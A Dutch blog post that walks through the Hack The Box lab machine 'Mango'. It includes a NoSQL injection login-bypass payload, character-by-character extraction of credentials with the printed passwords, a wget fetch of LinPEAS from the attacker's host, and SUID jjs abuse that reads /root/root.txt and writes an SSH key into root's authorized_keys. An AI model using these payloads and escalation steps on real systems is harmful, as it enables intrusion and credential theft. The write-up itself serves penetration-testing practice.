tech365
HackTheBox WriteUp Mango

Hack The Box Writeup: Mango

When life gives you Mango. Deze box heeft vrij weinig met echte mango’s te maken, maar verschilt maar 1 letter met een bekend NoSQL platform. En hier zit de initiële toegang tot deze box. Een interessante Medium box die mijn score met 30 punten omhoog bracht en van Hacker naar Pro Hacker op Hack The Box.

Hack The Box Mango

It does not matter how slowly you go as long as you do not stop.

Confucius

Een nieuwe box een nieuwe scan. Het klinkt saai maar iedere box begint met een goede scan. Dit geeft al in het begin van de reis een goed beeld waar je startpunt kan zijn.

nmap -sC -sV -T5 -p- -oA ~/Documents/boxes/mango/magno-allports 10.10.10.162

Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-27 11:37 GMT
Nmap scan report for staging-order.mango.htb (10.10.10.162)
Host is up (0.033s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a8:8f:d9:6f:a6:e4:ee:56:e3:ef:54:54:6d:56:0c:f5 (RSA)
|   256 6a:1c:ba:89:1e:b0:57:2f:fe:63:e1:61:72:89:b4:cf (ECDSA)
|_  256 90:70:fb:6f:38:ae:dc:3b:0b:31:68:64:b0:4e:7d:c9 (ED25519)
80/tcp  open  http     Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Sweet & Juicy
443/tcp open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Mango | Search Base
| ssl-cert: Subject: commonName=staging-order.mango.htb/organizationName=Mango Prv Ltd./stateOrProvinceName=None/countryName=IN
| Not valid before: 2019-09-27T14:21:19
|_Not valid after:  2020-09-26T14:21:19
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Op poort 80 krijg je geen website te zien op basis van ip of hostname mango.htb. Op 443 dan weer wel. Het eerste dat verschijnt is een melding dat het certificaat niet klopt.

htb-mango-certwarning

Tip: krijg je een certificaatmelding, check dan zeker even het certificaat. Ook al verwacht je dat hij niet klopt, dan nog is het vaak de moeite waard. Het certificaat van Mango bevat een interessante hostname: staging-order.mango.htb.

htb-mango-certinfo

Voordat ik de hostname op het certificaat ga bekijken is het eerst even de standaard website uitpluizen. Hier is echter niet direct iets interessants te vinden. Het is een zoekmachine die lijkt op Google, maar je XSS en andere trucjes leveren niets op. De analytics link geeft toegang tot allerlei data, maar mag verder onder de rabbitholes worden gearchiveerd.

htb-mango-zoekmachine

Dan maar eens die hostname van het certificaat proberen. Dat ziet er goed uit.

htb-mango-staging-order

Ook hier begonnen met allerlei manieren om het login-formulier te misbruiken. SQL-injectie werkte niet, maar bij het proberen van NoSQL injectie kreeg ik een verrassend resultaat. Een pagina die Under Plantation is. Er is dus een mogelijkheid tot NoSQL injection.

username[$ne]=dopamine&password[$ne]=dopamine&login=login
htb-mango-under plantation

Toevallig had ik laatst een url opgeslagen voor een handige tool die NoSQL injection kan doen en geschikt is voor MongoDB (hé, dat lijkt op Mango ;)).

git clone https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration.git

Cloning into 'Nosql-MongoDB-injection-username-password-enumeration'...
remote: Enumerating objects: 56, done.
remote: Counting objects: 100% (56/56), done.
remote: Compressing objects: 100% (56/56), done.
remote: Total 56 (delta 15), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (56/56), done.

Het Python script voorzie je van een aantal parameters, zoals; de url, de namen van de velden het te testen veld en de login knop. Hij begint een patroon en vult letter voor letter aan, Uiteraard heb ik wat overbodige output weggehaalde om te voorkomen dat er een mega lange lijst staat.

python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -op login:login -ep username -m POST
No pattern starts with '0'
No pattern starts with '1'
No pattern starts with '2'
No pattern starts with '3'
No pattern starts with '4'
No pattern starts with '5'
No pattern starts with '6'
No pattern starts with '7'
No pattern starts with '8'
No pattern starts with '9'
Pattern found that starts with 'a'
Pattern found: ad
Pattern found: adm
Pattern found: admi
Pattern found: admin
username found: admin

Pattern found that starts with 'm'
Pattern found: ma
Pattern found: man
Pattern found: mang
Pattern found: mango
username found: mango
No pattern starts with 'n'
No pattern starts with 'o'
No pattern starts with 'p'

2 username(s) found:
admin
mango

Twee usernames in the pocket. Nu doe ik hetzelfde nogmaals, maar dan voor de wachtwoorden.

python nosqli-user-pass-enum.py -u http://staging-order.mango.htb -up username -pp password -op login:login -ep password -m POST

No pattern starts with 'a'
No pattern starts with 'b'
No pattern starts with 'c'
No pattern starts with 'd'
No pattern starts with 'e'
No pattern starts with 'f'
No pattern starts with 'g'
Pattern found that starts with 'h'
Pattern found: h3
Pattern found: h3m
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
No pattern starts with 'i'
No pattern starts with 'q'
No pattern starts with 'r'
No pattern starts with 's'
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
No pattern starts with 'u'
No pattern starts with 'v'
No pattern starts with 'w'
No pattern starts with 'x'
No pattern starts with 'y'
No pattern starts with 'z'

2 password(s) found:
h3mXK8RhU~f{]f5H
t9KcS3>!0B#2

Ook hier twee treffers. Nu is het alleen even proberen welke user bij welk wachtwoord hoort, maar dan merk je snel genoeg met aanmelden.

  • Username: admin / Password: t9KcS3>!0B#2
  • Username: mango / Password: h3mXK8RhU~f{]f5H

Ik probeer eerst om met de user: admin in te loggen, echter is dit zonder resultaat. De poort is open volgens de Nmap scan, maar kennelijk mag de gebruiker niet verbinden.

ssh admin@10.10.10.162
admin@10.10.10.162's password:
Permission denied, please try again.

Dan gaan we verder met de user; mango. Ditmaal krijg ik toegang via SSH en ben ik aangemeld.

sudo ssh mango@10.10.10.162

The authenticity of host '10.10.10.162 (10.10.10.162)' can't be established.
ECDSA key fingerprint is SHA256:AhHG3k5r1ic/7nEKLWHXoNm0m28uM9W8heddb9lCTm0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '10.10.10.162' (ECDSA) to the list of known hosts.
mango@10.10.10.162's password:

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

In de homedirectory van mango is niets interessants aanwezig, enkel wat scripts van andere HTB-ers. Ik blader naar de map van admin en hier vind ik de user-flag. Helaas, geen rechten om de inhoud te bekijken. Vanuit de sessie van mango probeer ik via sudo om het account te verandere naar admin. Dit gaat keurig en ik ben weer een stap verder en kan gebruikmaken van een volledige shell.

mango@mango:~$ su admin
Password:

$ whoami
admin

bash

Via SimpleHTTPServer start ik een webserver op mijn eigen machine en download LinPeas (Linux Privilege Escalation Awesome Script) voor verdere enumeratie.

wget http://10.10.14.120:8000/linpeas.sh
--2020-02-26 09:57:54-- http://10.10.14.120:8000/linpeas.sh

Connecting to 10.10.14.120:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 144338 (141K) 
Saving to: ‘linpeas.sh’

linpeas.sh 100%[================================================================>] 140.96K 159KB/s in 0.9s

2020-02-26 09:57:55 (159 KB/s) - ‘linpeas.sh’ saved [144338/144338]

Het script geeft mega veel ouput en controleert de machine op de aanwezigheid van cron jobs, plaatsen waar ik teveel rechten heb, kwetsbare processen en ga zo maar door. Tweemaal kom /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs tegen. Zowel als Interesting File als een plek waar admin rechten heeft om uit te voeren waar eigenlijk alleen root dit zou moeten hebben. JJS is een commandline tool die gebruikt wordt voor het uitvoeren van commando’s naar de zogenaamde Nashhorn engine.

admin@mango:/tmp$ bash linpeas.sh

linpeas v2.3.4 by carlospolop
====================================( Interesting Files )=====================================
[+] SUID - Check easy privesc, exploits and write perms
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#commands-with-sudo-and-suid-commands
/bin/fusermount
/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/bin/umount ---> BSD/Linux(08-1996)
/bin/su
/bin/ping
/snap/core/7713/bin/mount ---> Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8
/snap/core/7713/bin/ping
/snap/core/7713/bin/ping6
/snap/core/7713/bin/su
/snap/core/7713/bin/umount ---> BSD/Linux(08-1996)
/snap/core/7713/usr/bin/chfn ---> SuSE_9.3/10
..
..
..
/usr/bin/pkexec ---> Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs
/usr/lib/openssh/ssh-keysign
/usr/lib/snapd/snap-confine

Op GTFOBIns kom ik jjs tegen met een aantal bekende priveledge escalations. Een voor een shell, en een voor het lezen van bestanden. Om te testen of het werkt probeer ik de output van /root/root.txt te lezen vanuit jjs

htb-mango-gtfobin

De breakout lukt en ik heb nu rechten om root.txt te lezen. Prima om de punten binnen te halen, maar ja….. het is nog geen shell.

echo 'var BufferedReader = Java.type("java.io.BufferedReader");
var FileReader = Java.type("java.io.FileReader");
var br = new BufferedReader(new FileReader("/root/root.txt"));
while ((line = br.readLine()) != null) { print(line); }' | jjs

8a8ef79a7a2fbb01ea81688424e9ab15

Een tweede methode is het wegschrijven van data. In dit geval neem ik de inhoud van mijn public key op mijn Parrot VM en schrijf hem weg naar de authorized keys van de root user op Mango. Hiermee zou ik zonder wachtwoord op basis van mijn private key moeten kunnen aanmelden. Mits root mag verbinden via SSH natuurlijk.

/usr/lib/jvm/java-11-openjdk-amd64/bin/jjs -scripting
$EXEC("echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABg[[........]]h87orudH7MJ2bFhALQ0=' > /root/.ssh/authorized_keys");

Geslaagd! het verbinden als root door middel van de authorized key is gelukt. En naast de root-flag heb ik nu ook een volledige shell op de machine. Who am i? Root!

ssh -i /root/.ssh/id_rsa mango
Enter passphrase for key '/root/.ssh/id_rsa': 

Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation: https://help.ubuntu.com
 * Management: https://landscape.canonical.com
 * Support: https://ubuntu.com/advantage

  System information as of Wed Feb 26 09:46:26 UTC 2020
Last login: Thu Oct 10 08:33:27 2019
root@mango:~# hostname
mango

root@mango:~# whoami
root

root@mango:~# ls -l
total 4
-r-------- 1 root root 33 Sep 27 14:32 root.txt

cat root.txt
8a8ef79a7a2fbb01ea81688424e9ab15

Martijn

Martijn is naast eigenaar van tech365 ook werkzaam als IT Professional. Zijn passies zijn gadgets, fotografie en alles wat met automotive te maken heeft. Je kunt hem ook vinden als blogger op wielerblog www.lifebehindbars.nl

Reageren

Geef een reactie

Deze website gebruikt Akismet om spam te verminderen. Bekijk hoe je reactie-gegevens worden verwerkt.

Privacy opties

Wijzig je voorkeur voor het bijhouden van gegevens op tech365.

Privacybeleid | Sluiten
Instellingen